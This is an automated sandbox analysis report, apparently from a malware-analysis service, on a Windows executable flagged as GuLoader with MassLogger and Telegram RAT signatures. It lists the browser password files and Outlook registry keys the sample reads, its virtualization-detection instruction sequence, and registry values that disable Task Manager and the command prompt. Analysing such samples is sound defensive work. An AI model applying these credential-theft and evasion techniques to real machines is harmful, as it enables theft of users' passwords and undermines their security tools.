Source: 4AMVusDMPP.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 4AMVusDMPP.exe, 00000003.00000002.3358117712.0000000033737000.00000004.00000800.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3359044631.000000003464D000.00000004.00000800.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3358117712.0000000033705000.00000004.00000800.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3358117712.0000000033744000.00000004.00000800.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3358117712.0000000033715000.00000004.00000800.00020000.00000000.sdmp, 4AMVusDMPP.exe, 00000003.00000002.3358117712.0000000033723000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 4AMVusDMPP.exe	ReversingLabs: Detection: 60%
Source: 4AMVusDMPP.exe	Virustotal: Detection: 76%

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

File read: C:\Users\user\Desktop\4AMVusDMPP.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\4AMVusDMPP.exe "C:\Users\user\Desktop\4AMVusDMPP.exe"
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process created: C:\Users\user\Desktop\4AMVusDMPP.exe "C:\Users\user\Desktop\4AMVusDMPP.exe"
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process created: C:\Users\user\Desktop\4AMVusDMPP.exe "C:\Users\user\Desktop\4AMVusDMPP.exe"	Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 4AMVusDMPP.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.1750077512.0000000003441000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Code function: 0_2_6E881B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6E881B5F

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_3_001949CC push eax; iretd	3_3_001949CD
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_0015ACA5 pushfd ; iretd	3_2_0015ACAA
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_0015AD75 pushfd ; iretd	3_2_0015ACAA

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

File created: C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	API/Special instruction interceptor: Address: 3C7035B
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	API/Special instruction interceptor: Address: 20D035B

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	RDTSC instruction interceptor: First address: 3C332F0 second address: 3C332F0 instructions: 0x00000000 rdtsc 0x00000002 cmp di, 0E7Dh 0x00000007 cmp ebx, ecx 0x00000009 jc 00007FBD04EDC8A1h 0x0000000b cmp al, BDh 0x0000000d cmp cl, bl 0x0000000f inc ebp 0x00000010 inc ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	RDTSC instruction interceptor: First address: 20932F0 second address: 20932F0 instructions: 0x00000000 rdtsc 0x00000002 cmp di, 0E7Dh 0x00000007 cmp ebx, ecx 0x00000009 jc 00007FBD052F3A61h 0x0000000b cmp al, BDh 0x0000000d cmp cl, bl 0x0000000f inc ebp 0x00000010 inc ebx 0x00000011 rdtsc

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Memory allocated: 33620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Memory allocated: 35620000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nslE077.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

API coverage: 3.2 %

Source: C:\Users\user\Desktop\4AMVusDMPP.exe TID: 792	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe TID: 792	Thread sleep time: -600000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_00402868 FindFirstFileW,	3_2_00402868
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_0040672B FindFirstFileW,FindClose,	3_2_0040672B
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Code function: 3_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_00405AFA

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Thread delayed: delay time: 600000			Jump to behavior

Source: 4AMVusDMPP.exe, 00000003.00000002.3335320934.00000000030A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWf
Source: 4AMVusDMPP.exe, 00000003.00000002.3335320934.00000000030C6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 4AMVusDMPP.exe, 00000003.00000002.3335320934.000000000308D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX;

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	API call chain: ExitProcess graph end node			graph_0-4590
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	API call chain: ExitProcess graph end node			graph_0-4746

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Code function: 0_2_6E881B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6E881B5F

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Process created: C:\Users\user\Desktop\4AMVusDMPP.exe "C:\Users\user\Desktop\4AMVusDMPP.exe"

Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Queries volume information: C:\Users\user\Desktop\4AMVusDMPP.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004034A5

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4AMVusDMPP.exe PID: 6976, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4AMVusDMPP.exe PID: 6976, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\4AMVusDMPP.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\4AMVusDMPP.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\4AMVusDMPP.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4AMVusDMPP.exe PID: 6976, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4AMVusDMPP.exe PID: 6976, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000003.00000002.3358117712.000000003377B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4AMVusDMPP.exe PID: 6976, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4AMVusDMPP.exe	61%	ReversingLabs	Win32.Trojan.Guloader
4AMVusDMPP.exe	76%	Virustotal		Browse
